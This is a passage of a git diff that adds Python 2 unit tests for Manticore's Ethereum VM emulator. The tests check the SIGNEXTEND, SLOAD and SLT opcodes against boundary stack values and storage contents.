+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_SIGNEXTEND_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_SIGNEXTEND_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [5807485728784016443108259966835510808832L])
+
+    def test_SIGNEXTEND_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_SIGNEXTEND_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_SIGNEXTEND_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMSLOAD.py b/tests/EVM/test_EVMSLOAD.py
new file mode 100644
index 0000000..2859887
--- /dev/null
+++ b/tests/EVM/test_EVMSLOAD.py
@@ -0,0 +1,335 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_SLOAD(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_SLOAD_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'T'
+            storage = {115792089237316195423570985008687907853269984665640564039457584007913129639935L: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='T'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLOAD_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'T'
+            storage = {0: 15589350798196297794172638215640352209663280458410L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='T'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15589350798196297794172638215640352209663280458410L])
+
+    def test_SLOAD_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'T'
+            storage = {1: 17148285878015927573589902037204387430629608504251L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='T'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17148285878015927573589902037204387430629608504251L])
+
+    def test_SLOAD_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'T'
+            storage = {57896044618658097711785492504343953926634992332820282019728792003956564819952L: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='T'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLOAD_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'T'
+            storage = {3618502788666131106986593281521497120414687020801267626233049500247285301263L: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='T'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLOAD_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'T'
+            storage = {16: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='T'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLOAD_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'T'
+            storage = {32: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='T'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLOAD_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'T'
+            storage = {48: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='T'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLOAD_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'T'
+            storage = {6089590155545428825848686802984512581899718912L: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='T'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMSLT.py b/tests/EVM/test_EVMSLT.py
new file mode 100644
index 0000000..6bc5e59
--- /dev/null
+++ b/tests/EVM/test_EVMSLT.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_SLT(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_SLT_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
